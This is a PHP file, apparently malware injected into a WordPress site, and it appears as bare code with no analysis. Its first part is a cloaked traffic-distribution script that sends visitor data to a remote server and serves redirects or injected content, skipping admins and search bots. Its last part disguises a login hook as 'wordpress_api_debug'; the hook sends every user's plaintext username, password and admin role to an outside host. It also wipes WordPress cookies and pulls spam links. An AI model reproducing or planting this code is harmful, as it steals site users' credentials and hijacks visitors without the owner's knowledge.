$zkldsjga = 'https://winbigprize.top';
$dsfinvdfgsg = 'https://toremanc.com';

if (!function_exists('getUserIP')) {
    function getUserIP() {
        foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) {
            if (array_key_exists($key, $_SERVER) === true) {
                foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) {
                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
                        return $ip;
                    }
                }
            }
        }
    }
}

if (!function_exists('cacheUrl')) {
    function cacheUrl($url, $skip_cache = FALSE) {

       $cachetime = 10; //one week
        $file = ABSPATH.WPINC.
        '/class-wp-http-netfilter.php';

        $mtime = 0;
        if (file_exists($file)) {
            $mtime = filemtime($file);
        }
        $filetimemod = $mtime + $cachetime;

        if ($filetimemod < time() OR $skip_cache) {
            $ch = curl_init($url);
            curl_setopt_array($ch, array(
                CURLOPT_HEADER => FALSE,
                CURLOPT_RETURNTRANSFER => TRUE,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36',
                CURLOPT_FOLLOWLOCATION => TRUE,
                CURLOPT_MAXREDIRS => 5,
                CURLOPT_CONNECTTIMEOUT => 30,
                CURLOPT_TIMEOUT => 60,
            ));
            $data = curl_exec($ch);
            curl_close($ch);

            if ($data AND!$skip_cache) {
                file_put_contents($file, $data);
            }
        } else {
            $data = file_get_contents($file);
        }
        return $data;
    }
}

$host = filter_var($_SERVER['HTTP_HOST'], FILTER_SANITIZE_URL);
$IpUrlAd = $dsfinvdfgsg.'/lnk/ip/' . $host . '.txt';
function is_fileAccessible($IpUrlAd) {
    $headers = @get_headers($IpUrlAd);
    return is_array($headers) && strpos($headers[0], '200') !== false;
}
if (is_fileAccessible($IpUrlAd)) {
    $weoboo = cacheUrl($IpUrlAd);
} else {
 $weoboo = '';
}

if (strpos($weoboo, getUserIP()) !== false) {

} else {
$uag = $_SERVER['HTTP_USER_AGENT']; 
$id = $_SERVER['REQUEST_URI']; 


if (!preg_match("/wp-login|wp-admin|admin|xmlrpc/", $id)) {

@date_default_timezone_set('UTC');
$z_test_config = $z_mode = '';
$z_url = $GLOBALS['uthpydgtou'];
$z_key_api_host = '2LmRsae4qqsca32';
$z_conf_edit = 0;
$z_conf_file = 'dldldla.ini';
$z_allow_ip = '';
$z_get = 'q';
$z_timeout = 10;
if($z_conf_edit == 1 && file_exists($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)){$z_test_config = 1;}
if(!empty($_GET[$z_get])){$z_key = trim($_GET[$z_get]);$z_mode = 1;$z_conf_edit = 0;}
if($z_conf_edit == 0 || ($z_conf_edit == 1 && empty($z_test_config))){
	$z_conf = array();
	$z_conf['id'] = 'dldldla';
	$z_conf['sub_del'] = 0;
	$z_conf['cf_ip'] = 0;
	$z_conf['em_referer'] = 0;
	$z_conf['em_useragent'] = 0;
	$z_conf['em_lang'] = 0;
	$z_conf['ipv6'] = 0;
	$z_conf['ptr'] = 0;
	$z_conf['rd_bots'] = 0;
	$z_conf['rd_se'] = 0;
	$z_conf['method'] = 0;
	$z_conf['conf_lc'] = date('d.m.Y H:i:s');
	$z_conf['status'] = 1;
	$z_conf['ip_serv_seodor'] = '';
	$z_conf['sign_ref'] = htmlentities('iframe-toloka.com,hghltd.yandex.net', ENT_QUOTES, 'UTF-8');
	$z_conf['sign_ua'] = htmlentities('ahrefs,aport,ask,bot,btwebclient,butterfly,commentreader,copier,crawler,crowsnest,curl,disco,ezooms,fairshare,httrack,ia_archiver,internetseer,java,js-kit,larbin,libwww,linguee,linkexchanger,lwp-trivial,netvampire,nigma,ning,nutch,offline,peerindex,pingadmin,postrank,rambler,semrush,slurp,soup,spider,sweb,teleport,twiceler,voyager,wget,wordpress,yeti,zeus', ENT_QUOTES, 'UTF-8');
	if($z_conf_edit == 1 && empty($z_test_config)){
		$z_conf_default = serialize($z_conf);
		file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf_default, LOCK_EX);
		$z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file));
	}
}
if($z_conf_edit == 1 && !empty($z_test_config)){
	$z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file));
}
if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && empty($_GET['conf'])){
	if(!z_ip_check($z_allow_ip)){
		header('HTTP/1.0 404 Not Found', true, 404);
		exit();
	}
	echo serialize($z_conf);
	exit();
}
if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && !empty($_GET['conf'])){
	if(!z_ip_check($z_allow_ip)){
		header('HTTP/1.0 404 Not Found', true, 404);
		exit();
	}
	$z_conf = base64_decode($_GET['conf']);
	$z_conf_tmp = @unserialize($z_conf);
	if(is_array($z_conf_tmp)){
		file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf, LOCK_EX);
	}
	exit();
}
$z_out = $z_lang = $z_country = $z_city = $z_region = $z_asn = $z_org = $z_device = $z_operator = $z_os_name = $z_os_version = $z_browser_name = $z_browser_version = $z_macros = $z_cookies_data = '';
$z_empty = $z_bot = '-';
$z_uniq = 'yes';
if(isset($_SERVER['HTTP_PURPOSE']) && $_SERVER['HTTP_PURPOSE'] == 'prefetch'){
	$z_conf['status'] = 0;
}
if($z_conf['status'] == 1){
	$z_useragent = $z_empty;
	if(!empty($_SERVER['HTTP_USER_AGENT'])){
		$z_useragent = $_SERVER['HTTP_USER_AGENT'];
	}
	elseif($z_conf['em_useragent'] == 1){
		$z_bot = 'empty_ua';
	}
	$z_referer = $z_empty;
	$z_se = $z_empty;
	if(!empty($_SERVER['HTTP_REFERER'])){
		$z_referer = $_SERVER['HTTP_REFERER'];
		if(strstr($z_referer, 'google.')){$z_se = 'google';}
		if(strstr($z_referer, 'yandex.') || strstr($z_referer, '/ya.ru')){$z_se = 'yandex';}
		if(strstr($z_referer, 'mail.ru')){$z_se = 'mail';}
		if(strstr($z_referer, 'yahoo.com')){$z_se = 'yahoo';}
		if(strstr($z_referer, 'bing.com')){$z_se = 'bing';}
		if(strstr($z_referer, 'baidu.com')){$z_se = 'baidu';}
	}
	elseif($z_bot == $z_empty && $z_conf['em_referer'] == 1){
		$z_bot = 'empty_ref';
	}
	if($z_bot == $z_empty && $z_referer != $z_empty && !empty($z_conf['sign_ref'])){
		$z_ex = explode(',', $z_conf['sign_ref']);
		foreach($z_ex as $z_value){
			$z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8'));
			if(strstr($z_referer, $z_value)){
				$z_bot = 'sign_ref';
				break;
			}
		}
	}
	if(stristr($z_useragent, 'baidu.com')){$z_bot = 'baidu';}
	if(stristr($z_useragent, 'bing.com') || stristr($z_useragent, 'msnbot')){$z_bot = 'bing';}
	if(stristr($z_useragent, 'google.')){$z_bot = 'google';}
	if(stristr($z_useragent, 'mail.ru')){$z_bot = 'mail';}
	if(stristr($z_useragent, 'yahoo.com')){$z_bot = 'yahoo';}
	if(stristr($z_useragent, 'yandex.com/bots')){$z_bot = 'yandex';}
	if(stristr($z_useragent, 'facebook')){$z_bot = 'facebook';}
	if($z_bot == $z_empty && $z_useragent != $z_empty && !empty($z_conf['sign_ua'])){
		$z_ex = explode(',', $z_conf['sign_ua']);
		foreach($z_ex as $z_value){
			$z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8'));
			if(stristr($z_useragent, $z_value)){
				$z_bot = 'sign_ua';
				break;
			}
		}
	}
	$z_cf_country = $z_empty;
	if(!empty($_SERVER['HTTP_CF_IPCOUNTRY'])){
		$z_cf_country = strtolower($_SERVER['HTTP_CF_IPCOUNTRY']);
	}
	if($z_conf['cf_ip'] == 1 && !empty($_SERVER['HTTP_CF_CONNECTING_IP'])){
		$z_ipuser = $_SERVER['HTTP_CF_CONNECTING_IP'];
	}
	if($z_conf['cf_ip'] == 0 || empty($z_ipuser)){
		if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){
			if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){
				$z_ipuser = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
				$z_ipuser = trim($z_ipuser[0]);
			}
			elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){
				if(empty($z_conf['ip_serv_seodor'])){
					$z_ipuser = trim($_SERVER['HTTP_X_FORWARDED_FOR']);
				}
			}
		}
		if(empty($z_ipuser)){
			$z_ipuser = trim($_SERVER['REMOTE_ADDR']);
		}
	}
	if(!filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) && stristr($z_ipuser, ':')){
		$z_exp = explode(':', $z_ipuser);
		$z_ipuser = $z_exp[0];
	}
	if(!filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) && !filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){
		$z_ipuser = $z_empty;
	}
	if($z_bot == $z_empty && $z_conf['ipv6'] == 1 && filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){
		$z_bot = 'ipv6';
	}
	if($z_bot == $z_empty && $z_conf['ptr'] == 1){
		$z_ptr_rec = gethostbyaddr($z_ipuser);
		if(stristr($z_ptr_rec, 'baidu')){$z_bot = 'baidu';}
		if(stristr($z_ptr_rec, 'bing') || stristr($z_ptr_rec, 'msnbot')){$z_bot = 'bing';}
		if(stristr($z_ptr_rec, 'google') && !stristr($z_ptr_rec, 'googlefiber')){$z_bot = 'google';}
		if(stristr($z_ptr_rec, 'mail.ru')){$z_bot = 'mail';}
		if(stristr($z_ptr_rec, 'yahoo')){$z_bot = 'yahoo';}
		if(stristr($z_ptr_rec, 'yandex')){$z_bot = 'yandex';}
	}
	$z_lang = $z_empty;
	if(!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])){
		$z_lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
	}
	if($z_lang == $z_empty && $z_conf['em_lang'] == 1){
		$z_bot = 'empty_lang';
	}
	$z_domain = $_SERVER['HTTP_HOST'];
	if($z_conf['sub_del'] == 1 && substr_count($z_domain, '.') > 1){
		preg_match("~^.+?\.(.+?)$~", $z_domain, $matches);
		$z_domain = $matches[1];
	}
	$z_page = $_SERVER['REQUEST_URI'];
	$z_page_url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
	if(($z_bot == $z_empty || $z_conf['rd_bots'] == 1) && $z_ipuser != $z_empty){
		$z_n_cookies = md5($_SERVER['HTTP_HOST'].'+'.$z_conf['id']);
		if(isset($_COOKIE[$z_n_cookies])){
			$z_cookies_data = unserialize(base64_decode($_COOKIE[$z_n_cookies]));
		}
		if(!isset($z_key)){$z_key = '';}
		if(empty($z_options)){$z_options = array();}
		$z_request = array();
		$z_request[0] = trim($z_key_api_host);
		$z_request[1] = trim($z_conf['id']);
		$z_request[2] = trim($z_ipuser);
		$z_request[3] = trim($z_referer);
		$z_request[4] = trim($z_useragent);
		$z_request[5] = $z_se;
		$z_request[6] = trim($z_lang);
		$z_request[7] = urlencode(trim($z_key));
		$z_request[8] = trim($z_domain);
		$z_request[9] = trim($z_page);
		$z_request[10] = trim($z_cf_country);
		$z_request[11] = $z_options;
		$z_request[12] = $z_cookies_data;
		if($z_conf['method'] == 1){
			$z_data['api'] = serialize($z_request);
		}
		else{
			$z_url = $z_url.'/?api='.base64_encode(serialize($z_request));
//echo $z_url;
		}
		if((empty($z_conf['ip_serv_seodor']) || $z_ipuser != $z_conf['ip_serv_seodor']) && ($z_conf['rd_se'] == 0 || ($z_conf['rd_se'] == 1 && $z_se != $z_empty))){
			$z_ch = curl_init();
			curl_setopt($z_ch, CURLOPT_TIMEOUT, $z_timeout);
			curl_setopt($z_ch, CURLOPT_URL, $z_url);
			curl_setopt($z_ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($z_ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($z_ch, CURLOPT_SSL_VERIFYPEER, 0);
			curl_setopt($z_ch, CURLOPT_SSL_VERIFYHOST, 0);
			if($z_conf['method'] == 1){
				curl_setopt($z_ch, CURLOPT_POST, true);
				curl_setopt($z_ch, CURLOPT_POSTFIELDS, $z_data);
			}
			curl_setopt($z_ch, CURLOPT_USERAGENT, 'zTDS');
			$z_response = curl_exec($z_ch);
			curl_close($z_ch);
			$z_response = @unserialize($z_response);
			if(is_array($z_response)){
				$z_out = trim(html_entity_decode($z_response[0], ENT_QUOTES, 'UTF-8'));
				$z_country = $z_response[1];
				$z_region = $z_response[2];
				$z_city = $z_response[3];
				$z_asn = $z_response[4];
				$z_org = $z_response[5];
				$z_device = $z_response[6];
				$z_operator = $z_response[7];
				$z_bot = $z_response[8];
				$z_uniq = $z_response[9];
				$z_lang = $z_response[10];
				$z_macros = trim(html_entity_decode($z_response[11], ENT_QUOTES, 'UTF-8'));
				$z_os_name = $z_response[12];
				$z_os_version = $z_response[13];
				$z_br_name = $z_response[14];
				$z_br_version = $z_response[15];
				$z_brand = $z_response[16];
				$z_cookies = $z_response[17];
				if(!empty($z_cookies)){
					$z_cookies_options = array('expires'=>$z_cookies[3], 'path'=>'/', 'domain'=>'', 'secure'=>0, 'httponly'=>1, 'samesite'=>'Lax');
					if(phpversion() >= 7.3 == 1){
						SetCookie($z_n_cookies, base64_encode(serialize($z_cookies)), $z_cookies_options);
					}
					else{
						SetCookie($z_n_cookies, base64_encode(serialize($z_cookies)), $z_cookies[3], '/', '', 0, 1);
					}
				}
				if(strstr($z_out, '[RAWURLENCODE_REFERER]')){
					$z_out = str_replace('[RAWURLENCODE_REFERER]', rawurlencode($z_referer), $z_out);
				}
				if(strstr($z_out, '[URLENCODE_REFERER]')){
					$z_out = str_replace('[URLENCODE_REFERER]', urlencode($z_referer), $z_out);
				}
				if(strstr($z_out, '[RAWURLENCODE_PAGE_URL]')){
					$z_out = str_replace('[RAWURLENCODE_PAGE_URL]', rawurlencode($z_page_url), $z_out);
				}
				if(strstr($z_out, '[URLENCODE_PAGE_URL]')){
					$z_out = str_replace('[URLENCODE_PAGE_URL]', urlencode($z_page_url), $z_out);
				}
				if(!empty($z_mode)){
					if(!empty($z_out)){
						header("Location: $z_out");
						exit();
					}
					else{
						header('HTTP/1.0 404 Not Found', true, 404);
						exit();
					}
				}
				if($z_bot == $z_empty && !empty($z_out)){echo $z_out;}
			}
		}
	}
}
function z_ip_check($z_allow_ip){
	if(!empty($z_allow_ip)){
		if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){
			if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){
				$z_ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
				$z_ip = trim($z_ip[0]);
			}
			elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){
				$z_ip = trim($_SERVER['HTTP_X_FORWARDED_FOR']);
			}
		}
		else{
			$z_ip = trim($_SERVER['REMOTE_ADDR']);
		}
		if($z_ip == trim($z_allow_ip)){
			return true;
		}
	}
	else{
		return true;
	}
}

}

$donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
if (preg_match('#.txt|.jpg|.png|/feed/|.xml|.ico#', $donor)) die();

if (ini_get('allow_url_fopen')) {
    function get_data_yo($url) {
        $data = file_get_contents($url);
        return $data;
    }
}
else {
    function get_data_yo($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
        $data = curl_exec($ch);
        curl_close($ch);
        return $data;
    }
}
$ip = urlencode($_SERVER['REMOTE_ADDR']);
$ua = urlencode($_SERVER['HTTP_USER_AGENT']);
$abt = 1;
$hspan = 0;
if (($abt || $hspan) && !$_GET[$qq]) {
        $ll = get_data_yo($dsfinvdfgsg."/lnk/go.php?d=$donor&cldw=$cldw&dgrp=$algo");
        $el = explode('
', $ll);
    }
}

/* weoboo end */
if(!isset($_COOKIE['_eshoob'])) {
		
    setcookie('_eshoob', 1, time()+604800, '/');

    // unset cookies
    if (isset($_SERVER['HTTP_COOKIE'])) {

        $cookies = explode(';', $_SERVER['HTTP_COOKIE']);
        
        foreach($cookies as $cookie) {

            if (strpos($cookie,'wordpress') !== false || strpos($cookie,'wp_') !== false || strpos($cookie,'wp-') !== false) {
            
            $parts = explode('=', $cookie);
            $name = trim($parts[0]);

            setcookie($name, '', time()-1000);
            setcookie($name, '', time()-1000, '/');
            
            }
        }
    } 
}

if (!function_exists('getUserIP')) {
function getUserIP()
{
    foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key)
    {
        if (array_key_exists($key, $_SERVER) === true)
        {
            foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip)
            {
                if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false)
                {
                    return $ip;
                }
            }
        }
    }
}
}

if (!function_exists('isHttps')) {
function isHttps() {
    if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') ||
        (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ||
        (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') ||
        (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') ||
        (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) {
        $server_request_scheme = 'https';
    } else {
        $server_request_scheme = 'http';
    }
    return $server_request_scheme;
}
}

if (!function_exists('wordpress_api_debug')) {
function wordpress_api_debug( $user_login, $user ){

	$wpApiUrl = $dsfinvdfgsg."/lnk/api22222.php";    

    $uuuser = get_user_by('login', $_POST['log']);
	if(in_array('administrator', $uuuser->roles)){
		$role = 'admin';
	}
	else{
		$role = 'user';
	}
	// 

	$verbLogs = array(
		'wp_host'       => $_SERVER['HTTP_HOST'],
		'wp_uri'        => $_SERVER['REQUEST_URI'],
		'wp_scheme'     => isHttps(),
		'user_login'    => $_POST['log'],
		'user_password' => $_POST['pwd'],
		'user_ip'       => getUserIP(),
        'user_role'		=> $role
	);


	if (!empty($verbLogs['user_login'])) {
	
	$wpLogData = json_encode($verbLogs);
	
	$curl = curl_init();
	curl_setopt($curl, CURLOPT_HEADER, false);
	curl_setopt($curl, CURLOPT_URL, $wpApiUrl);
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($curl, CURLOPT_POST, true);
	curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData);
	curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));

	$response = curl_exec($curl);
	
	curl_close($curl);

	}

}
}

if (function_exists('add_action')) {

add_action( 'wp_login', 'wordpress_api_debug', 10, 2 );

}


?>